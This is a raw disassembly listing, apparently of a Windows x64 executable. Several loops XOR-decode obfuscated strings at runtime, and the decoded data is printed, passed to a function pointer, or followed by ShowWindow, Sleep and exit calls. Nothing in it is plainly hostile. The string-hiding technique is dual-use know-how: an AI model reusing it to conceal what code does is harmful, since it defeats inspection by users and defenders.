cmp byte [r10 + 0x1c], 0
je 0x14000b3a0
cmp r13d, 2
jl 0x14000b36c
movd xmm4, r12d
movd xmm5, edi
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, r10
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140096a30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x18
jl 0x14000b242
cmp eax, 0x1d
jge 0x14000b3a0
movsxd r8, ebx
add r8, r10
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, bl
sub al, cl
add al, 0x34
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x1d
jl 0x14000b372
mov rcx, r10
call r11
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140004b10
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x1a0]
call fcn.14000bcd0
mov r8, rax
cmp byte [rax + 0x15], 0
je 0x14000b56e
mov ecx, ebx
cmp r13d, 2
jl 0x14000b52e
movd xmm4, r12d
movd xmm5, edi
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x70], xmm0
mov rdx, rax
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140096a30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x14000b406
cmp ecx, 0x16
jge 0x14000b56e
movsxd r9, ecx
add r9, r8
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
sub al, dl
add al, 0x34
xor byte [r9], al
inc ecx
lea r9, [r9 + 1]
cmp ecx, 0x16
jl 0x14000b540
mov rdx, r8
mov rcx, r10
call fcn.14000df10
lea rdx, [rsp + 0x1a0]
call fcn.14000bd00
mov r8, rax
cmp byte [rax + 0x14], 0
je 0x14000b71e
cmp r13d, 2
jl 0x14000b6e1
movd xmm4, r12d
movd xmm5, edi
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, rax
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140096a30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x10
jl 0x14000b5b7
cmp eax, 0x15
jge 0x14000b71e
movsxd r9, ebx
add r9, r8
nop word [rax + rax]
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, bl
sub al, cl
add al, 0x34
xor byte [r9], al
inc ebx
lea r9, [r9 + 1]
cmp ebx, 0x15
jl 0x14000b6f0
mov rdx, r8
lea rcx, [rsp + 0xe0]
call fcn.14000d1b0
mov rdx, rax
lea rcx, [rsp + 0x4d0]
call fcn.140025900
mov edx, r12d
mov rcx, r15
call qword [sym.imp.USER32.dll_ShowWindow]
mov edx, r12d
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov dword [rsp + 0x1c8], ebx
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov rdx, qword [rsp + 0x260]
cmp rdx, 0x10
jb 0x14000b7c6
inc rdx
mov rcx, qword [rsp + 0x248]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b7c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b7c0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400797bc
nop
mov rdx, qword [rsp + 0x310]
cmp rdx, 0x10
jb 0x14000b80a
inc rdx
mov rcx, qword [rsp + 0x2f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b804
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b9f6
call fcn.1400797bc
nop
cmp dword [rsp + 0x2f0], 0
jne 0x14000ba0d
lea rcx, [rsp + 0x4d0]
call fcn.14000bd30
nop
mov rdx, qword [rsp + 0x390]
cmp rdx, 0x10
jb 0x14000b86a
inc rdx
mov rcx, qword [rsp + 0x378]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b864
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ba5c
call fcn.1400797bc
nop
mov rdx, qword [rsp + 0x3b0]
cmp rdx, 0x10
jb 0x14000b8ae
inc rdx
mov rcx, qword [rsp + 0x398]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b8a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000baa3
call fcn.1400797bc
nop
mov rdx, qword [rsp + 0x330]
cmp rdx, 0x10
jb 0x14000b8f2
inc rdx
mov rcx, qword [rsp + 0x318]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b8ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000baea
call fcn.1400797bc
nop
mov rdx, qword [rsp + 0x350]
cmp rdx, 0x10
jb 0x14000b936
inc rdx
mov rcx, qword [rsp + 0x338]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b930
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000bb31
call fcn.1400797bc
nop
mov rdx, qword [rsp + 0x370]
cmp rdx, 0x10
jb 0x14000b979
inc rdx
mov rcx, qword [rsp + 0x358]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b974
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000bb84
call fcn.1400797bc
xor eax, eax
mov rcx, qword [rsp + 0x750]
xor rcx, rsp
call fcn.140079320
lea r11, [rsp + 0x790]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
ret
mov rdx, qword [rsp + 0x310]
cmp rdx, 0x10
jb 0x14000ba03
inc rdx
mov rcx, qword [rsp + 0x2f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b9fd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b9fd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400797bc
nop
cmp dword [rsp + 0x2f0], 0
je 0x14000ba14
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
lea rcx, [rsp + 0x4d0]
call fcn.14000bd30
nop
mov rdx, qword [rsp + 0x390]
cmp rdx, 0x10
jb 0x14000ba69
inc rdx
mov rcx, qword [rsp + 0x378]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ba63
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ba63
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400797bc
nop
mov rdx, qword [rsp + 0x3b0]
cmp rdx, 0x10
jb 0x14000bab0
inc rdx
mov rcx, qword [rsp + 0x398]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000baaa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000baaa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400797bc
nop
mov rdx, qword [rsp + 0x330]
cmp rdx, 0x10
jb 0x14000baf7
inc rdx
mov rcx, qword [rsp + 0x318]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000baf1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000baf1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400797bc
nop
mov rdx, qword [rsp + 0x350]
cmp rdx, 0x10
jb 0x14000bb3e
inc rdx
mov rcx, qword [rsp + 0x338]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bb38
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bb38
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400797bc
nop
mov rdx, qword [rsp + 0x370]
cmp rdx, 0x10
jb 0x14000b979
inc rdx
mov rcx, qword [rsp + 0x358]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b974
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b974
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
test r10d, r10d
jne 0x140006020
mov rax, qword [rax]
jmp 0x140005ff0
mov dword [rsp + 0x2f0], ebx
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call fcn.140001c30
nop
mov qword [rsp + 0x188], rsi
lea r8, [rsp + 0xb0]
lea rdx, [rsp + 0x2c0]
lea rcx, str.remove_all
call fcn.1400039f0
nop
call fcn.140001c30
nop
call fcn.140001c30
nop
mov qword [rsp + 0x188], rsi
lea r8, [rsp + 0xb0]
lea rdx, [rsp + 0x220]
lea rcx, str.remove_all
call fcn.1400039f0
nop
call fcn.140001c30
int3